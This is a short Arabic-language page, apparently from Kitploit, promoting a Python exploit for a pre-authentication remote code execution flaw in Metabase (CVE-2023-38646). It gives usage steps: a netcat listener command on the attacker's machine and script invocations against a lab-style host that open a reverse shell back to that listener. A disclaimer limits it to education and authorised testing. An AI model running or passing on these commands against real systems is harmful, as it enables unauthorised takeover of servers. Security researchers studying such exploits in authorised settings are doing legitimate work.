CVE-2023-38646 — # استغلال Python لثغرة Metabase RCE قبل المصادقة (CVE-2023-38646) ينشئ قشرة عكسية لاختبارات الأمان المصرح بها. | Kitploit

مشاركة

CVE-2023-38646 - Metabase Pre-Auth RCE

⚠️ لأغراض تعليمية وأبحاث أمنية مصرح بها فقط

مؤلف الاستغلال الأصلي

ممتن جدًا لمؤلف الإثبات الأولي securezeron

خطوات التطبيق

قم بإعداد المستمع على جهاز المهاجم:
```
nc -nlvp 4444
```

ثم، قم بتشغيل هذا الأمر:

python3 CVE-2023-38646-Reverse-Shell.py -h
python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444

المراجع